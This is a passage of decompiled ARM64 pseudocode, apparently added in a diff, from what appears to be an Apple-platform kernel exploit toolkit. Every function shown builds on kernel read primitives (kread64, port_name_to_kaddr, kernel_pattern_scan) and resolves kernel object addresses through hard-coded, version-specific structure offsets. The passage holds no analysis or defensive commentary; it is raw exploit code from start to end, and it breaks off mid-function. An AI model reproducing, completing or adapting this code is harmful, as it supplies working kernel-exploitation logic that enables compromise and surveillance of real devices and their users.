result; // x0 + unsigned __int64 v6; // x1 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + __int64 v8; // [xsp+10h] [xbp-20h] BYREF + __int64 v9; // [xsp+18h] [xbp-18h] BYREF + + v7 = 0LL; + if ( !(unsigned int)kread64( + a1, + a2 + 0x10LL * ((unsigned __int64)(*(_QWORD *)(a1 + 0x158) - 0x1F541900000000LL) >> 0x20 > 4), + &v9) ) + return 0LL; + result = validate_addr(a1, v9); + if ( !result ) + return result; + result = v9; + if ( *(int *)(a1 + 0x140) < 0x1C1B ) + { + v7 = v9; + return result; + } + if ( !(unsigned int)kread64(a1, v9 + 0x20, &v8) ) + return 0LL; + result = validate_addr(a1, v8); + if ( result ) + { + result = v8; + if ( (a3 & 1) == 0 ) + { + if ( (unsigned int)kread64_internal(a1, v8 + 0x38, &v7) ) + { + v6 = v7; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F542301E00000uLL ) + { + v6 = sub_2A190(a1, HIDWORD(v7)); + v7 = v6; + } + return validate_addr(a1, v6); + } + else + { + return v7; + } + } + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); +// 29B78: using guessed type __int64 __fastcall kread64_internal(_QWORD, _QWORD, _QWORD); + +//----- (0000000000033B98) ---------------------------------------------------- +__int64 __fastcall sub_33B98(_DWORD *a1, unsigned int a2, unsigned __int64 a3) +{ + unsigned __int64 v5; // x0 + __int64 v6; // x20 + unsigned int v7; // w25 + char v8; // w26 + unsigned __int64 v9; // x22 + _BOOL4 v10; // w23 + __int64 v11; // x24 + unsigned __int64 v12; // x1 + unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF + unsigned __int64 v16; // [xsp+10h] [xbp-50h] BYREF + unsigned __int64 v17; // [xsp+18h] [xbp-48h] BYREF + + v5 = sub_33CB0(a1, a2); + v6 = 0LL; + if ( v5 ) + { + v7 = 0; + v8 = 0; + v9 = v5 + 0x38; + while ( 1 ) + { + v10 = kread64(a1, v9, (__int64 *)&v17); + if ( v10 ) + { + do + { + v11 = v17; + if ( !v17 || !validate_addr((__int64)a1, v17) || !kread64(a1, v11 - 0x10, (__int64 *)&v16) ) + break; + if ( v16 <= a3 ) + { + if ( !kread64(a1, v11 - 8, (__int64 *)&v15) ) + break; + if ( v15 > a3 ) + { + v6 = v11 - 0x20; + v8 = 1; + if ( v10 ) + goto LABEL_14; + return v6; + } + v12 = v17 + 8; + } + else + { + v12 = v17; + } + } + while ( kread64(a1, v12, (__int64 *)&v17) ); + } + if ( !v10 ) + break; +LABEL_14: + if ( (v8 & 1) == 0 && v7++ < 5 ) + continue; + return v6; + } + } + return v6; +} + +//----- (0000000000033CB0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33CB0(_DWORD *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w20 + unsigned __int64 result; // x0 + unsigned __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v4 = sub_3338C((__int64)a1); + if ( !v4 ) + return 0LL; + v5 = v4; + result = port_name_to_kaddr((__int64)a1, a2); + v7 = result; + if ( !result ) + return result; + if ( !kread64(a1, result + v5, (__int64 *)&v7) ) + return 0LL; + if ( validate_addr((__int64)a1, v7) ) + return v7; + return 0LL; +} + +//----- (0000000000033D38) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33D38(__int64 a1, unsigned int a2, unsigned __int64 a3, unsigned __int64 *a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x8 + unsigned __int64 v10; // x1 + __int64 v11; // x8 + unsigned __int64 v12; // x8 + __int64 v13; // x0 + unsigned __int64 v14; // x1 + _QWORD v15[2]; // [xsp+0h] [xbp-30h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x800000) ) + { + v13 = sub_33B98((_DWORD *)a1, a2, a3); + if ( v13 && (unsigned int)kreadbuf_last_1(a1, v13 + 0x38, 0x10LL, (__int64)v15) ) + { + v14 = v15[0]; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F542301E00000uLL ) + { + v14 = sub_2A190(a1, HIDWORD(v15[0])); + v15[0] = v14; + } + if ( validate_addr(a1, v14) ) + { + result = v15[0]; + *a4 = v15[1] & 0xFFFFFFFFFFFFF000LL; + return result; + } + } + return 0LL; + } + result = sub_1F07C(a2, a3, a4); + if ( !result ) + return result; + if ( (result & 1) != 0 ) + { + v10 = result - *(_QWORD *)(a1 + 0x138); + if ( HIDWORD(result) ) + { + if ( HIDWORD(v10) ) + goto LABEL_20; + } + else + { + v10 = (unsigned int)(result - *(_DWORD *)(a1 + 0x138)); + } + v12 = *(_QWORD *)(a1 + 0x130); + if ( v12 ) + goto LABEL_19; + return 0LL; + } + v9 = *(_QWORD *)(a1 + 0x19E0); + if ( !v9 ) + return 0LL; + v10 = v9 + result; + if ( !((v9 + result) >> 0x20) ) + { + v11 = *(_QWORD *)(a1 + 0x19C8); + if ( v11 ) + { + v12 = v11 & 0xFFFFFFFF00000000LL; +LABEL_19: + v10 |= v12; + goto LABEL_20; + } + return 0LL; + } +LABEL_20: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return validate_addr(a1, v10); +} + +//----- (0000000000033E8C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33E8C(__int64 a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_33304(a1, result); + } + return result; +} +// 33EBC: variable 'vars8' is possibly undefined + +//----- (0000000000033ED8) ---------------------------------------------------- +__int64 __fastcall sub_33ED8(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + __int64 v4; // x8 + int v5; // w8 + __int64 v6; // x8 + __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + result = sub_33304(a1, a2); + v7 = result; + if ( result ) + { + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + { + v4 = 0x20LL; + if ( *(int *)(a1 + 0x140) > 0x2257 ) + v4 = 0x18LL; + if ( !kread64((_DWORD *)a1, v4 + result, &v7) ) + return 0LL; + result = validate_addr(a1, v7); + if ( !result ) + return result; + } + result = 0LL; + v5 = *(_DWORD *)(a1 + 0x140); + if ( v5 <= 0x2257 ) + { + if ( (unsigned int)(v5 - 0x1F53) < 2 ) + { + v6 = 0xD8LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v6 = 0x20LL; + } + else if ( v5 == 0x1809 ) + { + v6 = 0x100LL; + } + else + { + if ( v5 != 0x1C1B ) + return result; + v6 = 0xF0LL; + } + return v7 + v6; + } + if ( v5 == 0x2258 || v5 == 0x225C || v5 == 0x2712 ) + { + v6 = 0x20LL; + return v7 + v6; + } + } + return result; +} + +//----- (0000000000033FFC) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33FFC(__int64 a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_33ED8(a1, result); + } + return result; +} +// 3402C: variable 'vars8' is possibly undefined + +//----- (0000000000034048) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34048(_DWORD *a1, __int64 a2, _QWORD *a3) +{ + unsigned __int64 result; // x0 + unsigned __int64 v6; // x21 + __int64 v7; // [xsp+0h] [xbp-30h] BYREF + __int64 v8; // [xsp+8h] [xbp-28h] BYREF + + result = sub_33ED8((__int64)a1, a2); + if ( result ) + { + v6 = result; + if ( kread64(a1, result, &v8) ) + { + result = validate_addr((__int64)a1, v8); + if ( !result ) + return result; + if ( !a3 ) + return v8; + if ( kread64_internal((__int64)a1, v6, &v7) ) + { + *a3 = v7; + return v8; + } + } + return 0LL; + } + return result; +} + +//----- (00000000000340D8) ---------------------------------------------------- +__int64 __fastcall sub_340D8(_DWORD *a1, unsigned int a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = port_name_to_kaddr((__int64)a1, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_34048(a1, result, a3); + } + return result; +} +// 34110: variable 'vars8' is possibly undefined + +//----- (000000000003412C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3412C(__int64 a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + unsigned __int64 v4; // x20 + int v5; // w8 + __int64 v7; // x8 + bool v8; // zf + __int64 v9; // x9 + __int64 v10; // x1 + __int64 v11; // [xsp+8h] [xbp-18h] BYREF + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + v4 = result; + v5 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v5 - 0x1F53) >= 2 && v5 != 0x1C1B ) + { + if ( v5 != 0x1809 ) + return 0LL; + v8 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584201); + v7 = 0x3C0LL; + v9 = 0x3D8LL; + goto LABEL_13; + } + if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL ) + { + v8 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584201); + v7 = 0x418LL; + v9 = 0x460LL; + } + else + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) + { + v7 = 0x4F0LL; +LABEL_15: + v10 = v4 + v7; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530F02800000uLL ) + { + v11 = v4 + v7; + goto LABEL_19; + } + if ( kread64((_DWORD *)a1, v10, &v11) ) + { + v10 = v11; +LABEL_19: + if ( validate_addr(a1, v10) ) + return v11; + else + return 0LL; + } + return 0LL; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) + { + v7 = 0x4E8LL; + goto LABEL_15; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) + { + v7 = 0x4E0LL; + goto LABEL_15; + } + v8 = !krw_ctx_has_flag((_DWORD *)a1, 0x200); + v7 = 0x4D0LL; + v9 = 0x510LL; + } +LABEL_13: + if ( v8 ) + v7 = v9; + goto LABEL_15; + } + return result; +} + +//----- (0000000000034298) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34298(__int64 a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + unsigned __int64 result; // x0 + int v5; // w8 + __int64 v6; // x8 + + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + { + result = sub_3412C(a1, a2); + if ( !result ) + return result; + v5 = *(_DWORD *)(a1 + 0x140); + switch ( v5 ) + { + case 0x1F53: + v6 = 0x120LL; + break; + case 0x1C1B: + v6 = 0x128LL; + break; + case 0x1809: + v6 = 0x150LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL ) + v6 = 0x128LL; + break; + default: + return 0LL; + } + result += v6; + return result; + } + v3 = sub_34358((_DWORD *)a1, a2); + if ( v3 ) + return v3 + 8; + else + return 0LL; +} + +//----- (0000000000034358) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34358(_DWORD *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w21 + unsigned __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v7 = 0LL; + v4 = sub_343E0((__int64)a1); + if ( !v4 ) + return 0LL; + v5 = v4; + result = port_name_to_kaddr((__int64)a1, a2); + if ( !result ) + return result; + if ( !kread64(a1, result + v5, &v7) ) + return 0LL; + if ( validate_addr((__int64)a1, v7) ) + return v7; + return 0LL; +} + +//----- (00000000000343E0) ---------------------------------------------------- +__int64 __fastcall sub_343E0(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + unsigned int v4; // w8 + unsigned __int64 v5; // x9 + unsigned int v6; // w10 + unsigned __int64 v7; // x11 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 > 0x225B ) + { + if ( v3 != 0x225C ) + { + if ( v3 != 0x2712 ) + return result; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) + { + v4 = 0x3C0; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x1100000) ) + { + v4 = 0x370; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) + { + v4 = 0x368; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) + { + v4 = 0x358; + } + else + { + v4 = 0x388; + } + v5 = *(_QWORD *)(a1 + 0x158); + v6 = v4 + 0x10; + v7 = 0x27120A807FFFFFLL; +LABEL_37: + if ( v5 <= v7 ) + return v4; + else + return v6; + } + } + else + { + if ( (unsigned int)(v3 - 0x1F53) < 2 ) + { + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + return 0LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) + { + v4 = 0x3A0; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) + { + v4 = 0x398; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) + { + v4 = 0x390; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x200) ) + { + v4 = 0x380; + } + else + { + v4 = 0x3C0; + } + v5 = *(_QWORD *)(a1 + 0x158); + v6 = v4 - 8; + v7 = 0x1F541DFFFFFFFFLL; + goto LABEL_37; + } + if ( v3 != 0x2258 ) + return result; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x1100000) ) + return 0x378LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) + return 0x370LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) + return 0x360LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x200) ) + return 0x350LL; + return 0x390LL; +} + +//----- (00000000000345D4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_345D4(__int64 a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + __int64 v4; // x8 + int v5; // w9 + __int64 v6; // x8 + + v3 = sub_3412C(a1, a2); + v4 = 0LL; + if ( v3 ) + { + v5 = *(_DWORD *)(a1 + 0x140); + if ( v5 > 0x1F52 ) + { + if ( v5 == 0x1F53 ) + { + v6 = 0x100LL; + return v6 + v3; + } + if ( v5 == 0x1F54 ) + { + v6 = 0xF0LL; + return v6 + v3; + } + } + else + { + if ( v5 == 0x1809 ) + { + v6 = 0x130LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL ) + v6 = 0x108LL; + return v6 + v3; + } + if ( v5 == 0x1C1B ) + { + v6 = 0x108LL; + return v6 + v3; + } + } + } + return v4; +} + +//----- (0000000000034680) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34680(__int64 a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + __int64 v4; // x8 + int v5; // w9 + __int64 v6; // x8 + + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + v3 = sub_33E8C(a1, a2); + else + v3 = sub_34754((_DWORD *)a1, a2); + v4 = 0LL; + if ( !v3 ) + return v4; + v5 = *(_DWORD *)(a1 + 0x140); + if ( v5 > 0x2257 ) + { + if ( v5 != 0x2258 && v5 != 0x225C && v5 != 0x2712 ) + return v4; +LABEL_13: + v6 = 0x300LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v6 = 0x1CLL; + return v6 + v3; + } + if ( (unsigned int)(v5 - 0x1F53) < 2 ) + goto LABEL_13; + if ( v5 == 0x1809 ) + { + v6 = 0x298LL; + return v6 + v3; + } + if ( v5 == 0x1C1B ) + { + v6 = 0x280LL; + return v6 + v3; + } + return v4; +} + +//----- (0000000000034754) ---------------------------------------------------- +__int64 __fastcall sub_34754(_DWORD *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w21 + __int64 result; // x0 + __int64 v7; // x20 + __int64 v8; // x0 + __int64 v10; // [xsp+0h] [xbp-30h] BYREF + __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + v4 = sub_33098((__int64)a1); + if ( !v4 ) + return 0LL; + v5 = v4; + result = port_name_to_kaddr((__int64)a1, a2); + if ( !result ) + return result; + v7 = result; + result = validate_addr((__int64)a1, result); + if ( !result ) + return result; + if ( !kread64(a1, v7 + v5, &v11) ) + return 0LL; + result = validate_addr((__int64)a1, v11); + if ( !result ) + return result; + if ( !kread64(a1, v11 + 8, &v10) ) + return 0LL; + v8 = validate_addr((__int64)a1, v10); + if ( v7 != v10 || v8 == 0 ) + return 0LL; + else + return v11; +} + +//----- (000000000003481C) ---------------------------------------------------- +__int64 __fastcall sub_3481C(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 <= 0x1F53 ) + { + if ( v3 == 0x1809 || v3 == 0x1C1B ) + return 0x10CLL; + if ( v3 == 0x1F53 ) + return 0x11CLL; + return result; + } + if ( v3 > 0x225B ) + { + if ( v3 != 0x225C ) + { + if ( v3 == 0x2712 ) + return 0xC8LL; + return result; + } + return 0xB4LL; + } + if ( v3 == 0x1F54 ) + return 0x94LL; + if ( v3 == 0x2258 ) + return 0xB4LL; + return result; +} + +//----- (00000000000348BC) ---------------------------------------------------- +__int64 __fastcall sub_348BC(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + bool v4; // zf + int v5; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 <= 0x1F53 ) + { + if ( v3 == 0x1809 || v3 == 0x1C1B || v3 == 0x1F53 ) + return 0x48LL; + } + else + { + if ( v3 > 0x225B ) + { + v4 = v3 == 0x2712; + v5 = 0x225C; + } + else + { + v4 = v3 == 0x1F54; + v5 = 0x2258; + } + if ( v4 || v3 == v5 ) + return 0x40LL; + } + return result; +} + +//----- (000000000003492C) ---------------------------------------------------- +__int64 __fastcall sub_3492C(__int64 a1, __int64 a2) +{ + unsigned int v4; // w0 + __int64 result; // x0 + unsigned int v6; // w0 + __int64 v7; // [xsp+0h] [xbp-20h] BYREF + __int64 v8; // [xsp+8h] [xbp-18h] BYREF + + v4 = sub_3338C(a1); + if ( !v4 || !(unsigned int)kread64(a1, a2 + v4, &v8) ) + return 0LL; + result = validate_addr(a1, v8); + if ( !result ) + return result; + v6 = sub_348BC(a1); + if ( !v6 || !(unsigned int)kread64(a1, v8 + v6, &v7) ) + return 0LL; + if ( validate_addr(a1, v7) ) + return v7; + return 0LL; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000349C8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_349C8(_DWORD *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w20 + unsigned __int64 result; // x0 + unsigned __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v4 = sub_348BC((__int64)a1); + if ( !v4 ) + return 0LL; + v5 = v4; + result = sub_33CB0(a1, a2); + v7 = result; + if ( result ) + { + if ( kread64(a1, result + v5, (__int64 *)&v7) ) + return v7; + else + return 0LL; + } + return result; +} + +//----- (0000000000034A40) ---------------------------------------------------- +__int64 __fastcall sub_34A40(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w8 + int v5; // w9 + __int64 v6; // x8 + __int64 v7; // x8 + unsigned __int64 v8; // x8 + unsigned __int64 v9; // x8 + __int64 v10; // [xsp+8h] [xbp-38h] BYREF + __int64 v11; // [xsp+10h] [xbp-30h] BYREF + __int64 v12; // [xsp+18h] [xbp-28h] BYREF + __int64 v13; // [xsp+20h] [xbp-20h] BYREF + + v12 = 0LL; + v13 = 0LL; + result = sub_34048((_DWORD *)a1, a2, 0LL); + if ( !result ) + return result; + result = kread64((_DWORD *)a1, result + 0x78, &v11); + if ( !(_DWORD)result ) + return result; + result = validate_addr(a1, v11); + if ( !result ) + return result; + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( v4 > 0x2257 ) + { + if ( v4 == 0x2258 || v4 == 0x2712 ) + goto LABEL_12; + v5 = 0x225C; + } + else + { + if ( (unsigned int)(v4 - 0x1F53) < 2 || v4 == 0x1809 ) + goto LABEL_12; + v5 = 0x1C1B; + } + if ( v4 != v5 ) + return result; +LABEL_12: + result = kread64((_DWORD *)a1, v11 + *(unsigned int *)(a1 + 0x168), &v12); + if ( !(_DWORD)result ) + return result; + if ( (unsigned __int64)(v12 + 1) >= 2 && !validate_addr(a1, v12) ) + { + v8 = *(_QWORD *)(a1 + 0x158); + if ( v8 <= 0x1F52FFFFFFFFFFLL ) + return 0LL; + if ( (*(_DWORD *)a1 & 0x5584001) != 0 && (v12 & 0x7FFFFFFFFFLL) == 0 ) + { + v12 = 0LL; + } + else if ( v8 <= 0x1F530F027FFFFFLL ) + { + return 0LL; + } + } + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + result = kread64_internal(a1, v11 + *(unsigned int *)(a1 + 0x168), &v10); + if ( !(_DWORD)result ) + return result; + v6 = v10; + } + else + { + v6 = v12; + } + *(_QWORD *)(a1 + 0x3A0) = v6; + result = kread64((_DWORD *)a1, v11 + (unsigned int)(2 * *(_DWORD *)(a1 + 0x168)), &v13); + if ( (_DWORD)result ) + { + if ( (unsigned __int64)(v13 + 1) < 2 || validate_addr(a1, v13) ) + goto LABEL_23; + v9 = *(_QWORD *)(a1 + 0x158); + if ( v9 > 0x1F52FFFFFFFFFFLL ) + { + if ( (*(_DWORD *)a1 & 0x5584001) != 0 && (v13 & 0x7FFFFFFFFFLL) == 0 ) + { + v13 = 0LL; + } + else if ( v9 <= 0x1F530F027FFFFFLL ) + { + return 0LL; + } +LABEL_23: + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL || (*(_DWORD *)a1 & 0x5584001) == 0 ) + { + v7 = v13; + *(_QWORD *)(a1 + 0x3A8) = v13; + goto LABEL_28; + } + result = kread64_internal(a1, v11 + (unsigned int)(2 * *(_DWORD *)(a1 + 0x168)), &v10); + if ( (_DWORD)result ) + { + *(_QWORD *)(a1 + 0x3A8) = v10; + v7 = v13; +LABEL_28: + *(_QWORD *)(a1 + 0x390) = v12; + *(_QWORD *)(a1 + 0x398) = v7; + *(_QWORD *)(a1 + 0x378) = 0x100000000LL; + *(_QWORD *)(a1 + 0x18F0) = v11; + *(_DWORD *)(a1 + 0x18F8) = 0; + return 1LL; + } + return result; + } + return 0LL; + } + return result; +} + +//----- (0000000000034D14) ---------------------------------------------------- +__int64 __fastcall sub_34D14(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + result = sub_34A40(a1, result); + if ( (_DWORD)result ) + { + *(_DWORD *)(a1 + 0x18F8) = a2; + return 1LL; + } + } + return result; +} + +//----- (0000000000034D58) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34D58(__int64 a1, unsigned int a2, int a3) +{ + unsigned __int64 result; // x0 + unsigned __int64 v5; // x8 + int v6; // w9 + int v7; // w10 + unsigned __int64 v8; // x19 + int v9; // w8 + unsigned __int64 v10; // x21 + _BOOL4 v11; // w0 + __int64 v12; // x9 + __int64 v13; // x10 + __int64 v14; // x8 + bool v15; // zf + __int64 v16; // x9 + _BOOL4 has_flag; // w0 + unsigned __int64 v18; // x8 + bool v19; // cc + + if ( a3 ) + { + result = sub_34754((_DWORD *)a1, a2); + if ( !result ) + return result; + v5 = result; + result = 0LL; + v6 = *(_DWORD *)(a1 + 0x140); + if ( v6 > 0x225B ) + { + if ( v6 != 0x2712 ) + { + v7 = 0x225C; +LABEL_20: + if ( v6 != v7 ) + return result; + } + } + else if ( v6 != 0x1F54 ) + { + v7 = 0x2258; + goto LABEL_20; + } + return v5 + 0x78; + } + result = port_name_to_kaddr(a1, a2); + if ( !result ) + return result; + v8 = result; + result = 0LL; + v9 = *(_DWORD *)(a1 + 0x140); + if ( v9 <= 0x2257 ) + { + if ( (unsigned int)(v9 - 0x1F53) < 2 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) + { + v14 = 0x41CLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v14 = 0x3ECLL; + return v14 + v8; + } + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + v18 = *(_QWORD *)(a1 + 0x158); + v16 = 0x3E8LL; + if ( v18 > 0x1F530F027FFFFFLL ) + v16 = 0x3B8LL; + v19 = v18 > 0x1F530F027FFFFFLL; + v14 = 0x40CLL; + if ( v19 ) + v14 = 0x3DCLL; + v15 = !has_flag; + } + else + { + if ( v9 != 0x1809 ) + { + if ( v9 != 0x1C1B ) + return result; + v10 = *(_QWORD *)(a1 + 0x158); + v11 = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + v12 = 0x3F4LL; + if ( !v11 ) + v12 = 0x3D8LL; + v13 = 0x404LL; + if ( !v11 ) + v13 = 0x3E0LL; + if ( v10 >= 0x1C1B1914600000LL ) + v14 = v13; + else + v14 = v12; + return v14 + v8; + } + v15 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + v14 = 0x3C0LL; + v16 = 0x3B8LL; + } + goto LABEL_38; + } + if ( v9 == 0x2258 || v9 == 0x225C || v9 == 0x2712 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) + { + v14 = 0x3D0LL; + return v14 + v8; + } + v15 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + v14 = 0x3B8LL; + v16 = 0x3A0LL; +LABEL_38: + if ( v15 ) + v14 = v16; + return v14 + v8; + } + return result; +} + +//----- (0000000000034F5C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34F5C(__int64 a1, unsigned int a2, int a3, unsigned int *a4) +{ + unsigned __int64 v7; // x19 + unsigned int v8; // w9 + unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF + + v10 = 0; + v7 = sub_34D58(a1, a2, a3); + if ( !v7 ) + return v7; + if ( !kread32_outptr(a1, v7, &v10) ) + return 0LL; + if ( *(int *)(a1 + 0x140) < 0x1328 ) + { + v8 = HIBYTE(v10); + } + else + { + v8 = v10 & 3; + if ( !a3 ) + { + if ( v8 == 3 ) + goto LABEL_6; + return 0LL; + } + } + if ( v8 ) + return 0LL; +LABEL_6: + if ( a4 ) + *a4 = v10; + return v7; +} + +//----- (0000000000034FF8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34FF8(__int64 a1, unsigned int a2, unsigned int *a3) +{ + return sub_34F5C(a1, a2, 0, a3); +} + +//----- (0000000000035004) ---------------------------------------------------- +__int64 __fastcall sub_35004(__int64 a1, int a2, __int64 a3, unsigned int *a4) +{ + __int64 v8; // x26 + int v9; // w8 + __int64 v10; // x23 + __int64 v11; // x24 + __int64 v12; // x27 + __int64 v15; // x0 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x24 + mach_msg_type_number_t v19; // w25 + unsigned int v20; // w28 + __int64 v21; // x8 + kern_return_t v22; // w0 + mach_msg_type_number_t v23; // w8 + unsigned __int64 v24; // x28 + unsigned int v25; // w25 + unsigned __int64 v26; // x0 + unsigned __int64 v27; // x23 + unsigned __int64 v28; // x20 + vm_size_t v29; // x2 + mach_msg_type_number_t v31; // [xsp+4h] [xbp-8Ch] + __int64 v32; // [xsp+8h] [xbp-88h] BYREF + unsigned __int64 v33; // [xsp+10h] [xbp-80h] BYREF + mach_msg_type_number_t out_processor_listCnt; // [xsp+1Ch] [xbp-74h] BYREF + processor_array_t out_processor_list; // [xsp+20h] [xbp-70h] BYREF + _QWORD v36[3]; // [xsp+28h] [xbp-68h] BYREF + + v8 = 0x2800FLL; + out_processor_list = 0LL; + out_processor_listCnt = 0; + v32 = 0LL; + v33 = 0LL; + v9 = *(_DWORD *)(a1 + 0x140); + v10 = 0x28007LL; + if ( v9 > 0x2257 ) + { + if ( v9 != 0x2258 && v9 != 0x225C && v9 != 0x2712 ) + return v10; + goto LABEL_17; + } + if ( (unsigned int)(v9 - 0x1F53) < 2 ) + { +LABEL_17: + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) + v12 = 0x3D3CLL; + else + v12 = 0x8ACLL; + if ( *(int *)(a1 + 0x140) >= 0x1F53 ) + { + v15 = *(_QWORD *)(a1 + 0x19F8); + if ( !v15 ) + return 0xAD011LL; + sub_19D10(v15, v36); + v16 = kernel_pattern_scan((__int64)v36, "14 D9 33 F8", 0); + if ( !v16 ) + return 0xAD011LL; + v10 = 0xAD00CLL; + v17 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v16 - 8)); + if ( !v17 ) + return 0xAD011LL; + v18 = v17; + out_processor_listCnt = number_of_cpus(); + v31 = out_processor_listCnt; + if ( out_processor_listCnt ) + { + v19 = 0; + v20 = 0; + do + { + if ( !kread64((_DWORD *)a1, v18 + *(_DWORD *)(a1 + 0x168) * v19, (__int64 *)&v33) ) + return 0x2800FLL; + if ( v33 ) + { + if ( !validate_addr(a1, v33) ) + return 0x28026LL; + v21 = v33; + } + else + { + v21 = 0LL; + } + if ( !kread64((_DWORD *)a1, v21 + 0x28, &v32) ) + return 0x2800FLL; + if ( !validate_addr(a1, v32) ) + return 0x28026LL; + if ( !kread32_outptr(a1, v32 + v12, v36) ) + return 0x2800FLL; + if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 ) + return 0x28011LL; + if ( 